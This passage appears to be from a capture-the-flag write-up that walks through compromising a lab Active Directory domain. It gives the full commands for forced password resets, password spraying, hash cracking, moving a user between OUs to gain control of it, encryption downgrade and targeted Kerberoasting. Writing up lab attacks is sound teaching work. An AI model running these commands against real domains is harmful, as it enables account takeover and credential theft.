<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzwnH6jXdF29bR1p6W6R5%2Fgrafik.png?alt=media&amp;token=f9685b73-aa77-4227-af1b-efe6d86f8ed1" alt=""><figcaption></figcaption></figure>

**ForceChangePassword**

We reset the password of the `jason.caldwell` account to a known value, allowing us to authenticate as that user.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword#forcechangepassword>" %}

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k --host DC.hsm-defense.local -d hsm-defense.local -u 'HELPDESK01$' -p 'REDACTED' set password jason.caldwell 'Pwned123@!'  
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYkCujgsvwlYuxm4VLRhQ%2Fgrafik.png?alt=media&amp;token=23de15d4-905b-4fb3-bf2d-b0b462ef577e" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec and are not able to authenticate, we get the error `KDC_ERR_CLIENT_REVOKED`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb -k DC.hsm-defense.local -u 'jason.caldwell' -p 'Pwned123@!'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3FR8gOtqzsdkJ3Qp28qj%2Fgrafik.png?alt=media&amp;token=38b52315-9165-4c99-aa68-dc9e1bf1b058" alt=""><figcaption></figcaption></figure>

Like mentioned in ticket no. `2422`. So let's see if we can adjust the logon hours.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTSGaDfU8hO1AWnyI832c%2Fgrafik.png?alt=media&amp;token=b5d86c15-6f00-4490-8798-cdbb4e9d36b8" alt=""><figcaption></figcaption></figure>

### Access as luke.harrison

We try to gain access as `luke.harrison` then. The group `account administration` looks very promising.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7BfSBbxJIN9tWceANdRn%2Fgrafik.png?alt=media&amp;token=a0f9258c-31e0-4524-ae57-aff632a4f391" alt=""><figcaption></figcaption></figure>

We reset the password of the `luke.harrison` account to a known value, allowing us to authenticate as that user.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k --host DC.hsm-defense.local -d hsm-defense.local -u 'HELPDESK01$' -p 'REDACTED' set password luke.harrison 'Pwned123@!'  
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2etvIVPnHK8b1RyrLOmU%2Fgrafik.png?alt=media&amp;token=1979817c-5baa-40fd-914a-d7059030fe9b" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec and are  able to authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb -k DC.hsm-defense.local -u 'luke.harrison' -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F74JI1ff6bDm7vJ9NhSbM%2Fgrafik.png?alt=media&amp;token=bf68dc2a-8cd1-407e-b209-c4811a1ed29b" alt=""><figcaption></figcaption></figure>

We enumerate the writable objects to identify an alternative path that is not covered in the BloodHound data. The user `luke.harrison` has write premissions overthe user `jason.cadwell`, which means we can modify that user's attributes. Bingo, we might be able to fix the logonhours.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.hsm-defense.local -d hsm-defense.local -u luke.harrison -p 'Pwned123@!' -k get writable
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQbAX6X4gzyy9ximiuUdM%2Fgrafik.png?alt=media&amp;token=c92678bc-190a-4363-b636-7fd99dc558e6" alt=""><figcaption></figcaption></figure>

Querying for a detailed report we see we have write permissions over the logonHours.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.hsm-defense.local -d hsm-defense.local -u luke.harrison -p 'Pwned123@!' -k get writable --detail
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQUD5qVNOPf6VPmwvvHtz%2Fgrafik.png?alt=media&amp;token=a41fe4b6-092b-40c5-8b3b-b3409176af30" alt=""><figcaption></figcaption></figure>

The `Write` permission lets us clear it outright with bloodyAD's `set object` module.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.hsm-defense.local -d hsm-defense.local -u luke.harrison -p 'Pwned123@!' -k set object jason.caldwell logonHours
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFsgX7RsmNj1OIq5POZbT%2Fgrafik.png?alt=media&amp;token=a3fd9985-4302-4082-a33b-318df62eba9c" alt=""><figcaption></figcaption></figure>

We try to authenticate as jason`.caldwell` using NetExec again, and we authenticate successfully.

{% code overflow="wrap" expandable="true" %}

```
nxc smb -k DC.hsm-defense.local -u 'jason.caldwell' -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fjc9kuGYpRJjixwK41ipi%2Fgrafik.png?alt=media&amp;token=8bf4eb12-1c12-404c-8e54-a6faf8d142e8" alt=""><figcaption></figcaption></figure>

Now to get a session via evil-winrm we request a TGT and export the ccache file.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py hsm-defense.local/jason.caldwell:'Pwned123@!'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/jason.caldwell.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHTpjXgTTtto6AFm9TJcg%2Fgrafik.png?alt=media&amp;token=03ea1a71-e3ff-4a19-86bd-0a1a33716527" alt=""><figcaption></figcaption></figure>

We are able to login, but do not find the user flag yet.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC.hsm-defense.local -r hsm-defense.local
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVpfdW0mOtWDwz5WI1OWI%2Fgrafik.png?alt=media&amp;token=b06b975b-7e98-403e-94e2-d3fd1f17cb42" alt=""><figcaption></figcaption></figure>

## Shell as caleb.turner

We enumerate the system and we see that MySQL appears to be running internally on port `3306`.

{% code overflow="wrap" expandable="true" %}

```
netstat -ano
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUYLlW7wJkfPbClBTiITV%2Fgrafik.png?alt=media&amp;token=bdc62651-ec0e-4c77-af4e-32fb8e85ab71" alt=""><figcaption></figcaption></figure>

We find the intallation folder at `C:\Program Files\MariaDB 10.6`.

{% code overflow="wrap" expandable="true" %}

```
dir "C:\Program Files"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDzjOVNk1mKKKGCHafoWD%2Fgrafik.png?alt=media&amp;token=0a97eaba-0274-46aa-95c1-ce3a32e9c991" alt=""><figcaption></figcaption></figure>

Inside the .ini file we find the database credentials which would allow us to authenticate agains the service.

{% code overflow="wrap" expandable="true" %}

```
type "C:\Program Files\MariaDB 10.6\data\my.ini"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIqqHIK5YdSOI5KEMUV70%2Fgrafik.png?alt=media&amp;token=51d528d4-9e71-4e54-ad99-1bc6d3e90957" alt=""><figcaption></figcaption></figure>

We enumerate the database and find a new\_employees databases.

{% code overflow="wrap" expandable="true" %}

```
& "C:\Program Files\MariaDB 10.6\bin\mysql.exe" -h 127.0.0.1 --protocol=tcp -u root -pREDACTED -e "SHOW DATABASES;"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fw8E81mJge8HUYaTSUigB%2Fgrafik.png?alt=media&amp;token=a5d2d309-42b0-4b36-aa67-12e279002c06" alt=""><figcaption></figcaption></figure>

We query for the entries insied the employees table and do find three MD5 hashes.

{% code overflow="wrap" expandable="true" %}

```
& "C:\Program Files\MariaDB 10.6\bin\mysql.exe" -h 127.0.0.1 --protocol=tcp -u root -pREDACTED -D new_employees -e "SELECT * FROM employees;"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Falx26oqut5zVbvItdgV3%2Fgrafik.png?alt=media&amp;token=0d92a2de-ae11-4edf-ae7a-6431d032ff98" alt=""><figcaption></figcaption></figure>

Using hashcat, we can actually crack a hash that appears twice. Perhaps the password is also used for onboarding in Active Directory.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m0 hashes.txt /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmJDo55XdHjiTWVxwOZbI%2Fgrafik.png?alt=media&amp;token=0205cf32-937f-45e0-8df4-a5ef52baabd8" alt=""><figcaption></figcaption></figure>

We enumerate the domain users using NetExec...&#x20;

{% embed url="<https://www.netexec.wiki/smb-protocol/enumeration/enumerate-domain-users>" %}

{% code overflow="wrap" expandable="true" %}

```
nxc smb -k DC.hsm-defense.local -u 'jason.caldwell' -p 'Pwned123@!' --users-export usernames.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXbMHFxik72C0hKm99aVg%2Fgrafik.png?alt=media&amp;token=7ec598c4-3cdb-4f58-bb31-091bab260e39" alt=""><figcaption></figcaption></figure>

... and sparay the password against every user and we get two hits. We have now access to the user accounts `aaron.pierce` and `caleb.turner`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb -k DC.hsm-defense.local -u usernames.txt -p 'REDACTED'  --continue-on-success | grep '\[+\]'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxLWpSMeixMct3emUesqg%2Fgrafik.png?alt=media&amp;token=4956c828-07a6-4d96-9580-4420f3adfb4a" alt=""><figcaption></figcaption></figure>

We'll look those users up in our BloodHound data. The user `aaron.pierce` just seems to be a new user without any special permissions.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6e5Md5C1kOkb3wabwtY1%2Fgrafik.png?alt=media&amp;token=87265e66-3775-4276-9c79-06ecb15bbee3" alt=""><figcaption></figcaption></figure>

But, the user caleb.turner seems to be a very interesting one. Still a new employed but also in the remote management users group and in the `IT OU operators` group. So maybe we are able to play arround with the OUs present in the domain.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOun2bhgkNj1DJZiP8FMA%2Fgrafik.png?alt=media&amp;token=a42b7197-6bea-4b8a-ade3-82a5270d810e" alt=""><figcaption></figcaption></figure>

We see we have GenericAll permission over several users and `IT-TIER2` to `IT-TIER4` OUs. Unfortunately not to `IT-TIER1` which seems to be more valuable, but more on that later.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fj1wID7SstnjW6aZLPV5C%2Fgrafik.png?alt=media&amp;token=7702c329-2ca1-4023-bc29-87326c4e229d" alt=""><figcaption></figcaption></figure>

Now to get a session via evil-winrm we request a TGT and export the ccache file.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py hsm-defense.local/caleb.turner:'REDACTED'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/caleb.turner.ccache 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtbA9QPKLoNQ8HPcuPyiy%2Fgrafik.png?alt=media&amp;token=3b730ae6-a360-4087-b0b5-f38a3fcaa096" alt=""><figcaption></figcaption></figure>

And we are able to log in as `caleb.turner`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC.hsm-defense.local -r hsm-defense.local
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FF5MKn7xLX4DpBt91Y3S1%2Fgrafik.png?alt=media&amp;token=c85c195e-da8a-4336-af46-ce5a07aa3014" alt=""><figcaption></figcaption></figure>

We do find the users flag at `C:\Users\caleb.turner\Desktop\user.txt`.

{% code overflow="wrap" expandable="true" %}

```
type C:\Users\caleb.turner\Desktop\user.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGgS3xV7HgjrwXlFmxpuN%2Fgrafik.png?alt=media&amp;token=6a673043-cbfe-42e6-b9b4-f34eca34df10" alt=""><figcaption></figcaption></figure>

## Shell as oscar.mazerath

Let's take a look at the TIER-1 group...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Foa2dSHZJxzvaZilJqNGH%2Fgrafik.png?alt=media&amp;token=f1cbae1e-9402-49cd-a3f1-94a7ca26fe0d" alt=""><figcaption></figcaption></figure>

It includes three users, of whom `oscar.mazerath` is the most interesting. With the `GenericWrite` on those three users we might be able to pull of a shadow credentials attack or a targeted Kerberoast to gain control of such accounts.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvMdyy5CPVqZFNfSWCWt2%2Fgrafik.png?alt=media&amp;token=1e2ee73b-0dc5-4af4-b78f-dd253726380e" alt=""><figcaption></figcaption></figure>

Of these three, `ryan.cole` stands out because that user is the only one inthe remote desktop group of those three. Perhaps this user has more to offer. So the path looks like this: with caleb.turner in the `IT OU operators` group, we somehow (still unclear) gain access to the `Tier 1` group, obtain access as `oscar.mazerath`, and from there we take over the user `ryan.cole` to continue enumerating the target via the Remote Desktop session.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZ9vnAOVbasclfCNtUJXp%2Fgrafik.png?alt=media&amp;token=66df898a-e251-4a9f-83e0-6b0461f6c294" alt=""><figcaption></figcaption></figure>

We request a TGT and export the ccache file.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py hsm-defense.local/caleb.turner:'REDACTED'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/caleb.turner.ccache 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtbA9QPKLoNQ8HPcuPyiy%2Fgrafik.png?alt=media&amp;token=3b730ae6-a360-4087-b0b5-f38a3fcaa096" alt=""><figcaption></figcaption></figure>

We enumerate the writable objects and see that we have write permissions over oscar.mazerath in the IT-Tier1 OU.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7SZBvOhvKMMUqGgh3o53%2Fgrafik.png?alt=media&amp;token=384f4f4b-9c10-486b-99ac-f645388915e1" alt=""><figcaption></figcaption></figure>

To understand what we can actually do with our `IT OU operators` membership, we dump the ACLs on each IT-Tier OU using bloodyAD.

{% code overflow="wrap" expandable="true" %}

```
# Dump ACLs per OU, filtering non-default entries
for tier in 1 2 3 4; do
  echo "=== IT-Tier$tier ==="
  bloodyAD --host DC.hsm-defense.local -d hsm-defense.local -k get object "OU=IT-Tier$tier,DC=hsm-defense,DC=local" --attr nTSecurityDescriptor --resolve-sd
done
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FR2IDwktTrItvPQU8Zbx0%2Fgrafik.png?alt=media&amp;token=b2e7dd54-f848-4284-aada-761fb453b28d" alt=""><figcaption></figcaption></figure>

The results reveal the following ACL configuration across the four OUs:

IT-Tier1: `caleb.turner` has a `DELETE_CHILD` permission, but the `IT OU operators` group has no ACEs here. This means we can remove objects from this OU but cannot write to them through group membership alone.

{% code overflow="wrap" expandable="true" %}

```
nTSecurityDescriptor.ACL.3.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.3.Trustee: caleb.turner
nTSecurityDescriptor.ACL.3.Right: DELETE_CHILD
nTSecurityDescriptor.ACL.3.ObjectType: Self
```

{% endcode %}

IT-Tier2: The `IT OU operators` group has `GenericAll` with `CONTAINER_INHERIT`, but two Deny ACEs override it. `CREATE_CHILD` for User objects and `WRITE_PROP` are both denied. Since Deny always wins over Allow, this OU is locked down for us.

{% code overflow="wrap" expandable="true" %}

```
nTSecurityDescriptor.ACL.0.Type: == DENIED_OBJECT ==
nTSecurityDescriptor.ACL.0.Trustee: IT OU Operators
nTSecurityDescriptor.ACL.0.Right: CREATE_CHILD
nTSecurityDescriptor.ACL.0.ObjectType: User

nTSecurityDescriptor.ACL.1.Type: == DENIED ==
nTSecurityDescriptor.ACL.1.Trustee: IT OU Operators
nTSecurityDescriptor.ACL.1.Right: WRITE_PROP
nTSecurityDescriptor.ACL.1.ObjectType: Self

nTSecurityDescriptor.ACL.6.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.6.Trustee: IT OU Operators
nTSecurityDescriptor.ACL.6.Right: GENERIC_ALL
nTSecurityDescriptor.ACL.6.Flags: CONTAINER_INHERIT
```

{% endcode %}

IT-Tier3: The IT OU operators has also a  `GenericAll` with `CONTAINER_INHERIT` and no Deny ACEs. This is the target, full, unrestricted control over this OU and any objects within it.

{% code overflow="wrap" expandable="true" %}

```
nTSecurityDescriptor.ACL.4.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.4.Trustee: IT OU Operators
nTSecurityDescriptor.ACL.4.Right: GENERIC_ALL
nTSecurityDescriptor.ACL.4.ObjectType: Self
nTSecurityDescriptor.ACL.4.Flags: CONTAINER_INHERIT
```

{% endcode %}

IT-Tier4: IT OU operators has `GenericAll` with `CONTAINER_INHERIT`, but `CREATE_CHILD` for User objects is denied. Similar to Tier2 but slightly less restrictive.

{% code overflow="wrap" expandable="true" %}

```
nTSecurityDescriptor.ACL.0.Type: == DENIED_OBJECT ==
nTSecurityDescriptor.ACL.0.Trustee: IT OU Operators
nTSecurityDescriptor.ACL.0.Right: CREATE_CHILD
nTSecurityDescriptor.ACL.0.ObjectType: User

nTSecurityDescriptor.ACL.5.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.5.Trustee: IT OU Operators
nTSecurityDescriptor.ACL.5.Right: GENERIC_ALL
nTSecurityDescriptor.ACL.5.Flags: CONTAINER_INHERIT
```

{% endcode %}

Moving an AD object between OUs requires `DELETE_CHILD` on the source OU and `CREATE_CHILD` on the destination OU. We have both: `DELETE_CHILD` on `IT-Tier1` through `caleb.turner`'s direct ACE, and `CREATE_CHILD` on IT-Tier3 through IT OU Operators' `GenericAll` (which includes `CREATE_CHILD`) with no Deny ACEs blocking it. Once `oscar.mazerath` lands in IT-Tier3, the `CONTAINER_INHERIT` flag on the `GenericAll` ACE kicks in, granting us full control over the user object.

**DELETE\_CHILD on Tier1 (source) — as caleb.turner directly**

```
nTSecurityDescriptor.ACL.3.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.3.Trustee: caleb.turner
nTSecurityDescriptor.ACL.3.Right: DELETE_CHILD
nTSecurityDescriptor.ACL.3.ObjectType: Self
```

**CREATE\_CHILD on Tier3 (destination) — via IT OU Operators membership**

```
nTSecurityDescriptor.ACL.4.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.4.Trustee: IT OU Operators
nTSecurityDescriptor.ACL.4.Right: GENERIC_ALL
nTSecurityDescriptor.ACL.4.ObjectType: Self
nTSecurityDescriptor.ACL.4.Flags: CONTAINER_INHERIT
```

We move `oscar.mazerath` from `IT-Tier1` to `IT-Tier3`.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.hsm-defense.local -d hsm-defense.local -k set object 'CN=oscar.mazerath,OU=IT-Tier1,DC=hsm-defense,DC=local' distinguishedName -v 'CN=oscar.mazerath,OU=IT-Tier3,DC=hsm-defense,DC=local'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcsflklaI68ozvWBfZ1bc%2Fgrafik.png?alt=media&amp;token=f227ef10-a6bf-433c-a898-4dc003f141d6" alt=""><figcaption></figcaption></figure>

Now, we can change the password of oscar.mazerath through the GenericAll we have on IT-Tier3

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k --host DC.hsm-defense.local -d hsm-defense.local -k set password oscar.mazerath 'Pwned123@!'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmsF6pmPJUfLxYiT9Bwu1%2Fgrafik.png?alt=media&amp;token=6e05ddf4-89da-4ef0-8dad-d8abb4b77212" alt=""><figcaption></figcaption></figure>

We test the credentials and are able to authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb -k DC.hsm-defense.local -u oscar.mazerath -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FANgtbzZEvzOR4qD58AkJ%2Fgrafik.png?alt=media&amp;token=c58bfa76-8d64-457a-bcdb-3db57a6467d4" alt=""><figcaption></figcaption></figure>

## Shell as ryan.cole

We request a TGT and export the ccache file for `oscar.mazerath`.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py hsm-defense.local/oscar.mazerath:'Pwned123@!'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/oscar.mazerath.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSa1W5bC96sHMTL4ITun4%2Fgrafik.png?alt=media&amp;token=32414f57-dfcf-4743-a0af-dd669f44e9e9" alt=""><figcaption></figcaption></figure>

And perform now the aformentioned targetedKerberoast attack on `ryan.cole`. But the resulting blob is to strong to crack.

{% code overflow="wrap" expandable="true" %}

```
targetedKerberoast.py -k --dc-host dc.hsm-defense.local -u 'oscar.mazerath' -d 'hsm-defense.local' --request-user 'ryan.cole'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3pj3cwdsYrXlposy9RTA%2Fgrafik.png?alt=media&amp;token=b46c8e67-5760-4f8c-9575-03f3d5d8e45f" alt=""><figcaption></figcaption></figure>

We perform a downgrade like performed in NovaForge. Using our `GenericWrite` over `ryan.cole`, we downgrade the account's supported encryption types by setting `msDS-SupportedEncryptionTypes` to `4`, which forces the KDC to issue RC4-encrypted `$krb5tgs$23$` tickets instead of AES:

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/novaforge#shell-as-ryan.collins-daniel.brooks-on-dc>" %}

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k --host DC.hsm-defense.local -d hsm-defense.local -k set object ryan.cole msDS-SupportedEncryptionTypes -v 4
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5PRBm6Vqn1hP9zue17Rz%2Fgrafik.png?alt=media&amp;token=6ff437cd-075d-4525-8938-337d680e1e41" alt=""><figcaption></figcaption></figure>

We perform the targetedKerberoast attack again and retrieve a weaker blob...

{% code overflow="wrap" expandable="true" %}

```
targetedKerberoast.py -k --dc-host dc.hsm-defense.local -u 'oscar.mazerath' -d 'hsm-defense.local' --request-user 'ryan.cole'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcCSttpdQRfBebCB2WQHo%2Fgrafik.png?alt=media&amp;token=f49fe151-5bd4-4b24-8849-7c8fd42c466c" alt=""><figcaption></figcaption></figure>

... which we are able to crack.

{% code overflow="wrap" expandable="true" %}

```
hashcat -m 13100 -a 0 cole.hash /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeIxGYQn5ThsVcJwCAqUk%2Fgrafik.png?alt=media&amp;token=1a69eb17-5ede-4866-a040-7ca9d04da246" alt=""><figcaption></figcaption></figure>

And we are able to authenticate with the credentials gathered.

{% code overflow="wrap" expandable="true" %}

```
nxc smb -k DC.hsm-defense.local -u ryan.cole -p 'REDACTED' --shares  
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmdYe2oovYSwG8NTlzLlq%2Fgrafik.png?alt=media&amp;token=8fbbfda7-c6aa-4926-967f-db580b7b17a6" alt=""><figcaption></figcaption></figure>

We request a TGT to authenticate via xfreerdp using Kerberos.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py hsm-defense.local/ryan.cole:'REDACTED'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuACNmg0PpfO1RCIWoJdk%2Fgrafik.png?alt=media&amp;token=db0d5857-83c5-4302-a36f-4db024afacee" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/ryan.cole.ccache
```

{% endcode %}

We get a remote session thorugh RDP and do find a mail and a shortcut to a SSH application.

{% code overflow="wrap" expandable="true" %}

```
xfreerdp /v:DC.hsm-defense.local /d:HSM-DEFENSE.LOCAL /u:ryan.cole /dynamic-resolution +clipboard /cert:ignore
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeZV5q1jviwLigNdz5g9F%2Fgrafik.png?alt=media&amp;token=d5f7c0d3-218f-425b-b763-94b6b98932ca" alt=""><figcaption></figcaption></figure>

## Access as itops01$

In that mail we see that the SSH Remote Tool we found on the desktop of the user is used to get SSH sessions against legacy system that do not support modern encryption standards. The user is tasked to only use that tool internally due to security concerns.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0jRTLat5YPmQSLbsOtJv%2Fgrafik.png?alt=media&amp;token=1601a576-0cbb-4247-803b-50321ddde384" alt=""><figcaption></figcaption></figure>

We start the app and see that we are able to adjust the target host and port.

